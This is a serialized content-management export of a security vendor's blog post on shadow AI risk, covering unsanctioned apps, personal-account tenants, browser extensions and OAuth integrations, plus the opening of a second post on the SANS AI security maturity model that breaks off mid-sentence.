it.",{"data":15744,"content":15745,"nodeType":734},{},[15746],{"data":15747,"marks":15748,"value":15750,"nodeType":503},{},[15749],{"type":667},"Shadow AI apps",{"data":15752,"content":15753,"nodeType":670},{},[15754],{"data":15755,"marks":15756,"value":15757,"nodeType":503},{},[],"Shadow apps are AI tools that employees have signed up to and are using for business purposes without approval. This is the most visible dimension of the problem, and the one most people think of when they hear \"shadow AI\" — an employee pastes sensitive internal documents into ChatGPT, uploads confidential files to an AI assistant, or uses an unapproved coding tool to generate production code.",{"data":15759,"content":15760,"nodeType":670},{},[15761],{"data":15762,"marks":15763,"value":15764,"nodeType":503},{},[],"All of that is sensitive data leaving the organization through channels the security team can't see - and often accessible using personal accounts that can be compromised on personal devices or workstations. ",{"data":15766,"content":15767,"nodeType":670},{},[15768,15772,15777],{"data":15769,"marks":15770,"value":15771,"nodeType":503},{},[],"The 2026 DBIR's data loss prevention analysis underscores the scale — shadow AI is now the ",{"data":15773,"marks":15774,"value":15776,"nodeType":503},{},[15775],{"type":667},"third most common non-malicious insider action",{"data":15778,"marks":15779,"value":15780,"nodeType":503},{},[]," in DLP data, a 4x increase year-over-year. Across 858,000+ DLP events targeting GenAI tools, the most common data types being submitted were source code (28%), images (16%), structured data (14%), documents (13%), and PDFs (10%). That's not employees asking ChatGPT to fix their grammar — it's core intellectual property, production code, and internal documentation flowing into platforms the security team has no visibility into. But shadow apps themselves are only the most obvious part of the problem.",{"data":15782,"content":15783,"nodeType":734},{},[15784],{"data":15785,"marks":15786,"value":15788,"nodeType":503},{},[15787],{"type":667},"Shadow tenants",{"data":15790,"content":15791,"nodeType":670},{},[15792,15796,15801,15805,15810],{"data":15793,"marks":15794,"value":15795,"nodeType":503},{},[],"Even when an organization has approved an AI tool — say, an enterprise ChatGPT deployment — employees frequently access the same app with personal accounts, creating shadow tenants that sit entirely outside organizational control. The DBIR found that ",{"data":15797,"marks":15798,"value":15800,"nodeType":503},{},[15799],{"type":667},"67% of GenAI users on corporate devices are using non-corporate accounts",{"data":15802,"marks":15803,"value":15804,"nodeType":503},{},[],", and our own data shows that ",{"data":15806,"marks":15807,"value":15809,"nodeType":503},{},[15808],{"type":667},"38% of file uploads to AI tools are made from shadow accounts",{"data":15811,"marks":15812,"value":15813,"nodeType":503},{},[]," rather than approved organizational ones.",{"data":15815,"content":15816,"nodeType":670},{},[15817],{"data":15818,"marks":15819,"value":15820,"nodeType":503},{},[],"When an organization approves Claude, ChatGPT, or another core AI platform, you typically also approve the OAuth integration and browser extension for core apps (e.g. M365, Google Workspace, and so on). When that integration is approved, it is approved for all tenants — not just your corporate tenant. ",{"data":15822,"content":15826,"nodeType":714},{"target":15823},{"sys":15824},{"id":15825,"type":719,"linkType":720},"3Rvw0n28AYIM3FQXtHyafD",[],{"data":15828,"content":15829,"nodeType":670},{},[15830],{"data":15831,"marks":15832,"value":15833,"nodeType":503},{},[],"This means that even if you've deployed enterprise controls around your sanctioned AI tools — DLP policies, retention settings, admin oversight — more than a third of the file uploads hitting AI tools are bypassing those controls entirely because they're happening through personal accounts on corporate devices.",{"data":15835,"content":15836,"nodeType":734},{},[15837],{"data":15838,"marks":15839,"value":15841,"nodeType":503},{},[15840],{"type":667},"Shadow extensions",{"data":15843,"content":15844,"nodeType":670},{},[15845,15849,15853],{"data":15846,"marks":15847,"value":15848,"nodeType":503},{},[],"Many AI tools come with a browser extension counterpart, and there's a large ecosystem of third-party AI extensions that offer everything from writing assistance to automated data extraction. The average organization in our dataset has ",{"data":15850,"marks":15851,"value":15685,"nodeType":503},{},[15852],{"type":667},{"data":15854,"marks":15855,"value":15856,"nodeType":503},{},[]," deployed across its workforce, with the highest we observed reaching 163 — and since each of those average 17 different extensions may be installed by multiple employees, the actual number of individual extension installs across the organization is much higher still.",{"data":15858,"content":15859,"nodeType":670},{},[15860,15864,15871,15875,15880],{"data":15861,"marks":15862,"value":15863,"nodeType":503},{},[],"The extension dimension is particularly concerning because most extensions operate with significant privilege inside the browser — they can read and modify page content, access cookies and session tokens, and interact with virtually every web application an employee uses. As we detailed in our recent analysis of ",{"data":15865,"content":15866,"nodeType":795},{"uri":2680},[15867],{"data":15868,"marks":15869,"value":15870,"nodeType":503},{},[],"browser extension risk scoring",{"data":15872,"marks":15873,"value":15874,"nodeType":503},{},[],", at least ",{"data":15876,"marks":15877,"value":15879,"nodeType":503},{},[15878],{"type":667},"46.76% of all extensions across Push customers have the permission combinations needed to perform account takeover with no user interaction",{"data":15881,"marks":15882,"value":15883,"nodeType":503},{},[],", and the extensions involved in every major supply chain breach of the past 18 months scored as normal or low-risk beforehand.",{"data":15885,"content":15889,"nodeType":714},{"target":15886},{"sys":15887},{"id":15888,"type":719,"linkType":720},"3z4JOMALI52xoOXZkzPHLD",[],{"data":15891,"content":15892,"nodeType":670},{},[15893,15897,15904],{"data":15894,"marks":15895,"value":15896,"nodeType":503},{},[],"AI extensions add a specific wrinkle to this problem: many are branded to look like official companions to well-known AI tools but are actually third-party creations with no affiliation to the original vendor. They're not necessarily malicious at the point of installation, but they're exactly the kind of extension that's likely to be ",{"data":15898,"content":15899,"nodeType":795},{"uri":2680},[15900],{"data":15901,"marks":15902,"value":15903,"nodeType":503},{},[],"acquired and weaponized",{"data":15905,"marks":15906,"value":15907,"nodeType":503},{},[]," down the line — and in the meantime, they're collecting data that their permissions entitle them to (which, in most cases, means everything the user can see in their browser).",{"data":15909,"content":15913,"nodeType":714},{"target":15910},{"sys":15911},{"id":15912,"type":719,"linkType":720},"6K3z67rohss6H3lCsSn12B",[],{"data":15915,"content":15916,"nodeType":734},{},[15917],{"data":15918,"marks":15919,"value":15921,"nodeType":503},{},[15920],{"type":667},"Shadow integrations",{"data":15923,"content":15924,"nodeType":670},{},[15925],{"data":15926,"marks":15927,"value":15928,"nodeType":503},{},[],"The fourth dimension — and arguably the most dangerous — is shadow integrations: OAuth connections between AI tools and core enterprise apps that aren't known or approved by the security team. Even if an organization has approved an AI tool for standalone use, plugging that tool directly into Google Workspace, Microsoft 365, Salesforce, or any other one of the dozen or so SaaS apps in a typical user’s work stack is a fundamentally different risk decision, because it creates a persistent, programmatic bridge between your environment and a third party.",{"data":15930,"content":15931,"nodeType":670},{},[15932,15936,15941,15945,15950],{"data":15933,"marks":15934,"value":15935,"nodeType":503},{},[],"On average, we see ",{"data":15937,"marks":15938,"value":15940,"nodeType":503},{},[15939],{"type":667},"17 unique AI app OAuth integrations per organization",{"data":15942,"marks":15943,"value":15944,"nodeType":503},{},[]," in ",{"data":15946,"marks":15947,"value":15949,"nodeType":503},{},[15948],{"type":2144},"just",{"data":15951,"marks":15952,"value":15953,"nodeType":503},{},[]," Google Workspace and Microsoft 365 (to be clear: this number excludes the dozens of downstream apps the AI assistants are integrated with as well), with the highest reaching 55. Each of those represents a unique AI product that has been granted OAuth access — the total number of individual consent grants across users is larger, because popular integrations get authorized by multiple employees independently.",{"data":15955,"content":15956,"nodeType":670},{},[15957],{"data":15958,"marks":15959,"value":15960,"nodeType":503},{},[],"The actual number of AI-related OAuth connections across the full SaaS estate is considerably higher again, because AI tools that automate workflows need to be connected to be useful — pulling data from one app, analyzing it in another, presenting results in a third.",{"data":15962,"content":15963,"nodeType":670},{},[15964],{"data":15965,"marks":15966,"value":15967,"nodeType":503},{},[],"MCP connections use OAuth to achieve this interconnectivity in the same way, and AI coding agents create a particularly concentrated version of the risk: a single agent configuration can hold OAuth tokens for Jira, Confluence, Salesforce, GitHub, and more, meaning that compromising one agent — whether through prompt injection, a malicious repository config, or a supply chain attack on an MCP server — yields persistent, broadly scoped tokens for every service it was connected to, tokens that survive session restarts and generate audit log entries indistinguishable from legitimate user activity.",{"data":15969,"content":15970,"nodeType":670},{},[15971],{"data":15972,"marks":15973,"value":15974,"nodeType":503},{},[],"It's also worth noting that OAuth blast radius is almost always larger than organizations expect. A single well-permissioned user can expose secrets, dashboards, and internal tooling without tenant-wide admin access. And every new AI tool an employee connects makes the web of abusable permissions a little wider.",{"data":15976,"content":15980,"nodeType":714},{"target":15977},{"sys":15978},{"id":15979,"type":719,"linkType":720},"4SnzJ9T93gHzFIUASx7Yb3",[],{"data":15982,"content":15983,"nodeType":730},{},[],{"data":15985,"content":15986,"nodeType":660},{},[15987],{"data":15988,"marks":15989,"value":15991,"nodeType":503},{},[15990],{"type":667},"Why shadow AI needs a different solution to shadow SaaS",{"data":15993,"content":15994,"nodeType":670},{},[15995],{"data":15996,"marks":15997,"value":15998,"nodeType":503},{},[],"The reason it's worth distinguishing between these four dimensions isn't academic. Each one requires a different control, and addressing one doesn't solve the others.",{"data":16000,"content":16001,"nodeType":670},{},[16002],{"data":16003,"marks":16004,"value":16005,"nodeType":503},{},[],"Blocking unsanctioned AI apps does nothing for the personal accounts accessing approved ones, and neither addresses the average 17 different AI extensions running with broad browser permissions, let alone the dozens of OAuth integrations that have already been granted persistent access to core enterprise apps — and even auditing OAuth in Google Workspace and Microsoft 365, where the controls are relatively mature, leaves the broader SaaS estate unaddressed, where admin tooling is inconsistent and visibility is limited.",{"data":16007,"content":16008,"nodeType":670},{},[16009,16013,16021],{"data":16010,"marks":16011,"value":16012,"nodeType":503},{},[],"The tooling gap compounds the policy gap. ",{"data":16014,"content":16016,"nodeType":795},{"uri":16015},"https:\u002F\u002Fpushsecurity.com\u002Fblog\u002F7-things-omdias-latest-report-tells-us-about-the-secure-enterprise-browser-market\u002F",[16017],{"data":16018,"marks":16019,"value":16020,"nodeType":503},{},[],"Omdia found",{"data":16022,"marks":16023,"value":16024,"nodeType":503},{},[]," that 58% of organizations rely on secure web gateways to secure GenAI usage — but an SWG can tell you that a user visited ChatGPT, not whether they pasted your source code into the prompt. That link between knowing where data went and knowing what the user actually did is the fundamental visibility gap that makes GenAI policies unenforceable without browser-layer tooling.",{"data":16026,"content":16027,"nodeType":734},{},[16028],{"data":16029,"marks":16030,"value":16032,"nodeType":503},{},[16031],{"type":667},"Advice for security teams",{"data":16034,"content":16035,"nodeType":670},{},[16036],{"data":16037,"marks":16038,"value":16039,"nodeType":503},{},[],"The principles behind managing shadow AI are the same ones that have governed shadow SaaS and software supply chain management for years: default-deny where feasible, comprehensive inventory where it isn't, and continuous monitoring for changes that signal increased risk. But it's vital that teams act fast to stop the snowball.",{"data":16041,"content":16042,"nodeType":670},{},[16043],{"data":16044,"marks":16045,"value":16047,"nodeType":503},{},[16046],{"type":667},"That starts with visibility into which AI tools employees are actually using and which accounts they're using to access them — without that baseline, every other control is built on assumptions.",{"data":16049,"content":16050,"nodeType":670},{},[16051,16056,16060,16067],{"data":16052,"marks":16053,"value":16055,"nodeType":503},{},[16054],{"type":667},"Extensions",{"data":16057,"marks":16058,"value":16059,"nodeType":503},{},[]," need the same ",{"data":16061,"content":16062,"nodeType":795},{"uri":2680},[16063],{"data":16064,"marks":16065,"value":16066,"nodeType":503},{},[],"default-deny allowlisting approach",{"data":16068,"marks":16069,"value":16070,"nodeType":503},{},[]," that has been best practice for software management elsewhere: build a complete inventory, allowlist what's vetted, block everything else, and monitor the approved set for changes that precede weaponization.",{"data":16072,"content":16073,"nodeType":670},{},[16074,16079],{"data":16075,"marks":16076,"value":16078,"nodeType":503},{},[16077],{"type":667},"OAuth",{"data":16080,"marks":16081,"value":16082,"nodeType":503},{},[]," demands the most urgency, because each unmanaged integration is a persistent trust relationship that survives password resets and MFA changes — adopt default-deny for consent grants in your primary enterprise apps, routinely audit what's already connected, and critically extend that visibility beyond Google and Microsoft to the broader SaaS estate where the controls are weaker and the sprawl is harder to track.",{"data":16084,"content":16088,"nodeType":714},{"target":16085},{"sys":16086},{"id":16087,"type":719,"linkType":720},"3RFLFtJtDXvhTz1mVztfV9",[],{"data":16090,"content":16091,"nodeType":730},{},[],{"data":16093,"content":16094,"nodeType":660},{},[16095],{"data":16096,"marks":16097,"value":16099,"nodeType":503},{},[16098],{"type":667},"Browser visibility and control is key to de-risking AI adoption",{"data":16101,"content":16102,"nodeType":670},{},[16103],{"data":16104,"marks":16105,"value":16106,"nodeType":503},{},[],"AI usage is fundamentally browser-based activity — every LLM interaction, every prompt containing sensitive data, every AI agent authorization, every OAuth consent grant happens inside a browser session — which makes the browser the natural control point for AI governance across the workforce. ",{"data":16108,"content":16109,"nodeType":670},{},[16110],{"data":16111,"marks":16112,"value":16113,"nodeType":503},{},[],"Push tracks AI app usage and login security across the workforce, inventories and controls AI browser extensions, monitors and blocks OAuth consent flows across any app (not just the primary enterprise platforms), and gives security teams a single view of the full shadow AI picture across all four dimensions.",{"data":16115,"content":16116,"nodeType":670},{},[16117],{"data":16118,"marks":16119,"value":16120,"nodeType":503},{},[],"Shadow AI isn't a problem that will age well if ignored. Every week that passes without visibility adds more apps, more extensions, more integrations, and more potential breach paths into the environment — and as the Vercel breach demonstrated, it only takes one forgotten OAuth grant to turn an employee's idle curiosity into an organization-wide incident.",{"data":16122,"content":16123,"nodeType":670},{},[16124,16128,16137],{"data":16125,"marks":16126,"value":16127,"nodeType":503},{},[],"Learn more about how you can tackle ",{"data":16129,"content":16131,"nodeType":795},{"uri":16130},"https:\u002F\u002Fpushsecurity.com\u002Fuc\u002Fshadow-ai",[16132],{"data":16133,"marks":16134,"value":16136,"nodeType":503},{},[16135],{"type":803},"Shadow AI",{"data":16138,"marks":16139,"value":16140,"nodeType":503},{},[]," with Push. ",{"data":16142,"content":16143,"nodeType":730},{},[],{"data":16145,"content":16146,"nodeType":670},{},[16147],{"data":16148,"marks":16149,"value":2967,"nodeType":503},{},[],{"data":16151,"content":16152,"nodeType":670},{},[16153],{"data":16154,"marks":16155,"value":2974,"nodeType":503},{},[],{"data":16157,"content":16158,"nodeType":670},{},[16159,16163,16171],{"data":16160,"marks":16161,"value":16162,"nodeType":503},{},[],"Book a ",{"data":16164,"content":16165,"nodeType":795},{"uri":2986},[16166],{"data":16167,"marks":16168,"value":16170,"nodeType":503},{},[16169],{"type":803},"live demo",{"data":16172,"marks":16173,"value":16174,"nodeType":503},{},[]," to learn more.","Shadow AI: what Push data reveals about the scale of the problem","Push telemetry shows the average organization has 16 AI apps, 17 AI browser extensions, and 17 AI OAuth integrations in use. Here's what it means for security.","2026-05-28T00:00:00.000Z","what-push-data-reveals-about-the-state-of-shadow-ai",{"items":16180},[16181,16185],{"sys":16182,"name":16184},{"id":16183},"1gZi8NrRy2v9OqPV7C4dwD","Risk management",{"sys":16186,"name":8806},{"id":16187},"3pjES4THCIfSAwhGdNwBcy",{"items":16189},[16190],{"fullName":647,"firstName":648,"jobTitle":649,"profilePicture":16191},{"url":653},{"__typename":2126,"sys":16193,"content":16195,"title":17054,"synopsis":17055,"hashTags":60,"publishedDate":17056,"slug":17057,"tagsCollection":17058,"authorsCollection":17064},{"id":16194},"6Xn377JQfbDz49Np74cbGl",{"json":16196},{"data":16197,"content":16198,"nodeType":656},{},[16199,16206,16236,16254,16259,16266,16282,16285,16293,16311,16374,16381,16387,16394,16477,16484,16491,16507,16510,16518,16525,16532,16540,16547,16559,16565,16572,16579,16586,16589,16597,16613,16629,16636,16643,16650,16671,16755,16762,16769,16772,16780,16796,16803,16810,16818,16821,16829,16847,16854,16861,16894,16901,16908,16911,16919,16926,16938,16944,16956,16968,16974,16986,17008,17015,17018,17025,17032,17038],{"data":16200,"content":16201,"nodeType":670},{},[16202],{"data":16203,"marks":16204,"value":16205,"nodeType":503},{},[],"Most security leaders I talk to know they have an AI problem. They've seen the board questions, read the reports, maybe even drafted a policy. But when they start measuring where they stand — not plans or roadmaps, but actual current state — the gap between awareness and operational capability comes into focus.",{"data":16207,"content":16208,"nodeType":670},{},[16209,16212,16220,16224,16232],{"data":16210,"marks":16211,"value":1390,"nodeType":503},{},[],{"data":16213,"content":16215,"nodeType":795},{"uri":16214},"https:\u002F\u002Fpushsecurity.com\u002Fblog\u002Fverizon-dbir-2026-review",[16216],{"data":16217,"marks":16218,"value":16219,"nodeType":503},{},[],"2026 Verizon DBIR",{"data":16221,"marks":16222,"value":16223,"nodeType":503},{},[]," quantifies the scale: 45% of employees are now regular AI users on corporate devices (up from 15% the prior year), with 67% using personal accounts. ",{"data":16225,"content":16227,"nodeType":795},{"uri":16226},"https:\u002F\u002Fpushsecurity.com\u002Fblog\u002Fwhat-push-data-reveals-about-the-state-of-shadow-ai",[16228],{"data":16229,"marks":16230,"value":16231,"nodeType":503},{},[],"Push data",{"data":16233,"marks":16234,"value":16235,"nodeType":503},{},[]," further shows that 38% of file uploads to AI tools come from those shadow accounts rather than approved organizational ones — and the DBIR shows what's going into them: of 858,000+ DLP events targeting GenAI applications, the most common data types were source code (28%), structured data (14%), and documents and PDFs (23% combined).",{"data":16237,"content":16238,"nodeType":670},{},[16239,16243,16250],{"data":16240,"marks":16241,"value":16242,"nodeType":503},{},[],"The average organization now has ",{"data":16244,"content":16245,"nodeType":795},{"uri":16226},[16246],{"data":16247,"marks":16248,"value":16249,"nodeType":503},{},[],"16 unique AI apps, 17 AI browser extensions, and 17 AI OAuth integrations",{"data":16251,"marks":16252,"value":16253,"nodeType":503},{},[]," in active use, most unapproved. Shadow AI was the third most common non-malicious insider action in the DBIR, up 4x year over year.",{"data":16255,"content":16258,"nodeType":714},{"target":16256},{"sys":16257},{"id":8052,"type":719,"linkType":720},[],{"data":16260,"content":16261,"nodeType":670},{},[16262],{"data":16263,"marks":16264,"value":16265,"nodeType":503},{},[],"These statistics expose an attack surface and unmanaged risks at a high level. But the real problem is that most organizations can't produce a basic inventory of which AI tools are in use, let alone demonstrate controls around any of them. ",{"data":16267,"content":16268,"nodeType":670},{},[16269,16273,16278],{"data":16270,"marks":16271,"value":16272,"nodeType":503},{},[],"That gap between awareness and capability is where most organizations are stuck. And understanding ",{"data":16274,"marks":16275,"value":16277,"nodeType":503},{},[16276],{"type":2144},"why",{"data":16279,"marks":16280,"value":16281,"nodeType":503},{},[]," they're stuck requires a framework for what progress actually looks like.",{"data":16283,"content":16284,"nodeType":730},{},[],{"data":16286,"content":16287,"nodeType":660},{},[16288],{"data":16289,"marks":16290,"value":16292,"nodeType":503},{},[16291],{"type":667},"A model for measuring what most organizations already feel",{"data":16294,"content":16295,"nodeType":670},{},[16296,16300,16307],{"data":16297,"marks":16298,"value":16299,"nodeType":503},{},[],"Chris Cochran's ",{"data":16301,"content":16303,"nodeType":795},{"uri":16302},"https:\u002F\u002Fsansorg.egnyte.com\u002Fdl\u002FXtgqfjkjBjp8",[16304],{"data":16305,"marks":16306,"value":8120,"nodeType":503},{},[],{"data":16308,"marks":16309,"value":16310,"nodeType":503},{},[],", published earlier this year, provides a framework for addressing this gap. It defines five stages of AI security maturity across three pillars:",{"data":16312,"content":16313,"nodeType":781},{},[16314,16330,16346],{"data":16315,"content":16316,"nodeType":785},{},[16317],{"data":16318,"content":16319,"nodeType":670},{},[16320,16326],{"data":16321,"marks":16322,"value":16325,"nodeType":503},{},[16323,16324],{"type":667},{"type":803},"Protect AI:",{"data":16327,"marks":16328,"value":16329,"nodeType":503},{},[]," Defending against AI-enabled threats like adversarial attacks, prompt injection, compromised browser extensions, and AI agents operating with unchecked permissions.",{"data":16331,"content":16332,"nodeType":785},{},[16333],{"data":16334,"content":16335,"nodeType":670},{},[16336,16342],{"data":16337,"marks":16338,"value":16341,"nodeType":503},{},[16339,16340],{"type":667},{"type":803},"Utilize AI:",{"data":16343,"marks":16344,"value":16345,"nodeType":503},{},[]," Using AI to strengthen security operations by using AI-powered detection and triage, behavioral analytics, and automated response playbooks.",{"data":16347,"content":16348,"nodeType":785},{},[16349],{"data":16350,"content":16351,"nodeType":670},{},[16352,16358,16362,16371],{"data":16353,"marks":16354,"value":16357,"nodeType":503},{},[16355,16356],{"type":667},{"type":803},"Govern AI:",{"data":16359,"marks":16360,"value":16361,"nodeType":503},{},[]," Managing how the organization adopts and uses AI tools. Things like acceptable use policies, shadow AI discovery, data classification, access controls, and risk assessment. This is the pillar that gets the most attention in boardroom conversations today, driven in part by ",{"data":16363,"content":16365,"nodeType":795},{"uri":16364},"https:\u002F\u002Fpushsecurity.com\u002Fblog\u002Fbrowser-visibility-and-control-can-achieve-ai-compliance",[16366],{"data":16367,"marks":16368,"value":16370,"nodeType":503},{},[16369],{"type":803},"regulatory pressure",{"data":16372,"marks":16373,"value":2577,"nodeType":503},{},[],{"data":16375,"content":16376,"nodeType":670},{},[16377],{"data":16378,"marks":16379,"value":16380,"nodeType":503},{},[],"How an organization invests across these three pillars, and whether it invests across all of them, determines whether it advances toward maturity in this area or stalls out at the early steps.",{"data":16382,"content":16386,"nodeType":714},{"target":16383},{"sys":16384},{"id":16385,"type":719,"linkType":720},"1JV3KG97JQNFKwODnMCMq2",[],{"data":16388,"content":16389,"nodeType":670},{},[16390],{"data":16391,"marks":16392,"value":16393,"nodeType":503},{},[],"The SANS AI maturity model outlines 5 stages that organizations must progress through in order to reach an optimal security posture:",{"data":16395,"content":16396,"nodeType":781},{},[16397,16413,16429,16445,16461],{"data":16398,"content":16399,"nodeType":785},{},[16400],{"data":16401,"content":16402,"nodeType":670},{},[16403,16409],{"data":16404,"marks":16405,"value":16408,"nodeType":503},{},[16406,16407],{"type":667},{"type":803},"Stage 1 (Unaware \u002F Ad Hoc)",{"data":16410,"marks":16411,"value":16412,"nodeType":503},{},[]," is where employees are freely using AI tools with no oversight, no inventory exists, and leadership may not even know how much AI is in use. There's no policy to violate, so technically it's not even shadow AI yet; it's just unmanaged adoption.",{"data":16414,"content":16415,"nodeType":785},{},[16416],{"data":16417,"content":16418,"nodeType":670},{},[16419,16425],{"data":16420,"marks":16421,"value":16424,"nodeType":503},{},[16422,16423],{"type":667},{"type":803},"Stage 2 (Reactive \u002F Policy-Emerging)",{"data":16426,"marks":16427,"value":16428,"nodeType":503},{},[]," means a policy exists, but it's course-grained: \"Don't use AI\" or \"use with caution.\" Known AI tools may be blocked at the network level. Security teams are learning about AI-specific threats but don't have dedicated expertise or tooling.",{"data":16430,"content":16431,"nodeType":785},{},[16432],{"data":16433,"content":16434,"nodeType":670},{},[16435,16441],{"data":16436,"marks":16437,"value":16440,"nodeType":503},{},[16438,16439],{"type":667},{"type":803},"Stage 3 (Defined \u002F Risk-Informed)",{"data":16442,"marks":16443,"value":16444,"nodeType":503},{},[]," is where things get intentional. AI usage is governed through enterprise tools rather than outright bans. AI systems are included in security assessments. The organization can demonstrate mature governance to regulators and partners. For many organizations, this is a strong and defensible operating position.",{"data":16446,"content":16447,"nodeType":785},{},[16448],{"data":16449,"content":16450,"nodeType":670},{},[16451,16457],{"data":16452,"marks":16453,"value":16456,"nodeType":503},{},[16454,16455],{"type":667},{"type":803},"Stage 4 (Managed \u002F Integrated)",{"data":16458,"marks":16459,"value":16460,"nodeType":503},{},[]," means AI is deeply embedded in security operations with measurable outcomes. AI systems are secured by design. Risk is quantified, not estimated. Decisions are data-driven. This is where organizations can handle AI-specific threats and operate at the tempo that AI-augmented adversaries demand.",{"data":16462,"content":16463,"nodeType":785},{},[16464],{"data":16465,"content":16466,"nodeType":670},{},[16467,16473],{"data":16468,"marks":16469,"value":16472,"nodeType":503},{},[16470,16471],{"type":667},{"type":803},"Stage 5 (Optimizing \u002F Adaptive)",{"data":16474,"marks":16475,"value":16476,"nodeType":503},{},[]," is the frontier of AI-native security with self-improving defenses. Elements of this stage exist primarily in large technology companies, defense contractors, and AI-native firms. For most organizations, this is a multi-year journey.",{"data":16478,"content":16479,"nodeType":670},{},[16480],{"data":16481,"marks":16482,"value":16483,"nodeType":503},{},[],"Most of the security leaders I talk to land between Stage 1 and Stage 2. They have awareness, maybe a policy, but not the tooling or telemetry to demonstrate much beyond that. ",{"data":16485,"content":16486,"nodeType":670},{},[16487],{"data":16488,"marks":16489,"value":16490,"nodeType":503},{},[],"The model is pragmatic about these challenges. It doesn't expect every organization to reach Stage 5, and it adjusts maturity targets by sector. ",{"data":16492,"content":16493,"nodeType":670},{},[16494,16498,16503],{"data":16495,"marks":16496,"value":16497,"nodeType":503},{},[],"But it ",{"data":16499,"marks":16500,"value":16502,"nodeType":503},{},[16501],{"type":2144},"does",{"data":16504,"marks":16505,"value":16506,"nodeType":503},{},[]," require evidence of progress, not just intent. And for the majority sitting at Stage 2, the hard part is identifying the right steps to move from being merely reactive to a posture of operational readiness. That’s the chasm to cross.",{"data":16508,"content":16509,"nodeType":730},{},[],{"data":16511,"content":16512,"nodeType":660},{},[16513],{"data":16514,"marks":16515,"value":16517,"nodeType":503},{},[16516],{"type":667},"The chasm",{"data":16519,"content":16520,"nodeType":670},{},[16521],{"data":16522,"marks":16523,"value":16524,"nodeType":503},{},[],"For the organizations sitting at Stage 2, current state often looks like this: They've written an AI acceptable use policy, and maybe they've blocked known AI apps at the network level. They've trained employees on what's allowed and what isn't. ",{"data":16526,"content":16527,"nodeType":670},{},[16528],{"data":16529,"marks":16530,"value":16531,"nodeType":503},{},[],"To be sure, blocking is the fastest lever a security team can pull, and it represents visible progress to the business. The problem is that it rarely stays effective. ",{"data":16533,"content":16534,"nodeType":670},{},[16535],{"data":16536,"marks":16537,"value":16539,"nodeType":503},{},[16538],{"type":667},"SANS calls the pattern that traps most organizations at Stage 2 the \"Framework of No.\" ",{"data":16541,"content":16542,"nodeType":670},{},[16543],{"data":16544,"marks":16545,"value":16546,"nodeType":503},{},[],"\"A block-based AI policy may feel like risk management, but practitioner experience shows it typically drives AI usage underground rather than preventing it,” the report notes. “This is the pattern SANS has documented as the 'Framework of No,' and it is why the Stage 2 to Stage 3 transition is so critical.\"",{"data":16548,"content":16549,"nodeType":670},{},[16550,16555],{"data":16551,"marks":16552,"value":16554,"nodeType":503},{},[16553],{"type":2144},"This",{"data":16556,"marks":16557,"value":16558,"nodeType":503},{},[]," is the chasm. On one side: awareness and policy. On the other: operational capability - the tooling, telemetry, and controls that let a security team see what's happening and respond to it. Most organizations are standing on the awareness side, looking across, not sure how to get over.",{"data":16560,"content":16564,"nodeType":714},{"target":16561},{"sys":16562},{"id":16563,"type":719,"linkType":720},"187mKPZV8tVbsw17L2cWIU",[],{"data":16566,"content":16567,"nodeType":670},{},[16568],{"data":16569,"marks":16570,"value":16571,"nodeType":503},{},[],"The model is specific about what crossing requires. The steps from Stage 2 to Stage 3 include technical BYOAI discovery (not a survey, but automated discovery), AI-specific data classification, AI-aware controls, and a cross-functional governance body. Data classification is a critical prerequisite: \"You cannot write an effective AI policy without knowing where sensitive data lives,\" the report emphasizes.",{"data":16573,"content":16574,"nodeType":670},{},[16575],{"data":16576,"marks":16577,"value":16578,"nodeType":503},{},[],"These are visibility and measurement problems before they're policy problems. You can't govern what you can't see. You can't classify risk you can't measure. And a blocklist that pushes usage underground doesn't give you either: it just makes the gap between your policy and your reality harder to detect.",{"data":16580,"content":16581,"nodeType":670},{},[16582],{"data":16583,"marks":16584,"value":16585,"nodeType":503},{},[],"Getting this visibility right is necessary for crossing the chasm. But it’s not the only step organizations must undertake if they want to address their AI risk.",{"data":16587,"content":16588,"nodeType":730},{},[],{"data":16590,"content":16591,"nodeType":660},{},[16592],{"data":16593,"marks":16594,"value":16596,"nodeType":503},{},[16595],{"type":667},"Governance is key, but don't forget about protection",{"data":16598,"content":16599,"nodeType":670},{},[16600,16604,16609],{"data":16601,"marks":16602,"value":16603,"nodeType":503},{},[],"Most AI security conversations today - the vendor pitches, board decks, and compliance checklists - are about the ",{"data":16605,"marks":16606,"value":16608,"nodeType":503},{},[16607],{"type":667},"Govern",{"data":16610,"marks":16611,"value":16612,"nodeType":503},{},[]," pillar. Shadow AI discovery. Usage policies. Data classification. Controls around what employees paste into AI prompts or upload to AI tools. It's important work.",{"data":16614,"content":16615,"nodeType":670},{},[16616,16620,16625],{"data":16617,"marks":16618,"value":16619,"nodeType":503},{},[],"But the SANS model gives roughly equal weight to a second pillar that gets almost no attention: ",{"data":16621,"marks":16622,"value":16624,"nodeType":503},{},[16623],{"type":667},"Protect",{"data":16626,"marks":16627,"value":16628,"nodeType":503},{},[]," - defending against AI-enabled attacks.",{"data":16630,"content":16631,"nodeType":670},{},[16632],{"data":16633,"marks":16634,"value":16635,"nodeType":503},{},[],"The Protect pillar starts from a stark baseline. At Stage 1, most organizations have no visibility into which AI agents or browser extensions have access to their corporate environment, let alone a framework for understanding how those could be attacked. ",{"data":16637,"content":16638,"nodeType":670},{},[16639],{"data":16640,"marks":16641,"value":16642,"nodeType":503},{},[],"By Stage 3, the model expects runtime validation of AI tools and plugins, detection capabilities mapped to AI-specific attack frameworks, and controls that cover the growing surface area of agentic AI. ",{"data":16644,"content":16645,"nodeType":670},{},[16646],{"data":16647,"marks":16648,"value":16649,"nodeType":503},{},[],"By Stage 4, organizations need real-time monitoring of AI agent behavior and defenses against attacks that exploit trust relationships between AI systems — capabilities most security teams haven't started scoping, much less building or procuring.",{"data":16651,"content":16652,"nodeType":670},{},[16653,16657,16667],{"data":16654,"marks":16655,"value":16656,"nodeType":503},{},[],"These are detection and response capabilities, not governance exercises — and the attacks they address are already well underway. ",{"data":16658,"content":16660,"nodeType":795},{"uri":16659},"https:\u002F\u002Fpushsecurity.com\u002Fblog\u002Fthe-cisos-data-problem-and-how-browser-telemetry-can-help\u002F",[16661],{"data":16662,"marks":16663,"value":16666,"nodeType":503},{},[16664,16665],{"type":803},{"type":667},"One in three phishing payloads",{"data":16668,"marks":16669,"value":16670,"nodeType":503},{},[]," intercepted by Push arrive outside of email, through channels where most security controls don't exist. Evidence of the growth of browser-based attack methods enabled by AI tooling abounds:",{"data":16672,"content":16673,"nodeType":781},{},[16674,16695,16716],{"data":16675,"content":16676,"nodeType":785},{},[16677],{"data":16678,"content":16679,"nodeType":670},{},[16680,16684,16691],{"data":16681,"marks":16682,"value":16683,"nodeType":503},{},[],"CrowdStrike's 2026 Global Threat Report documented a 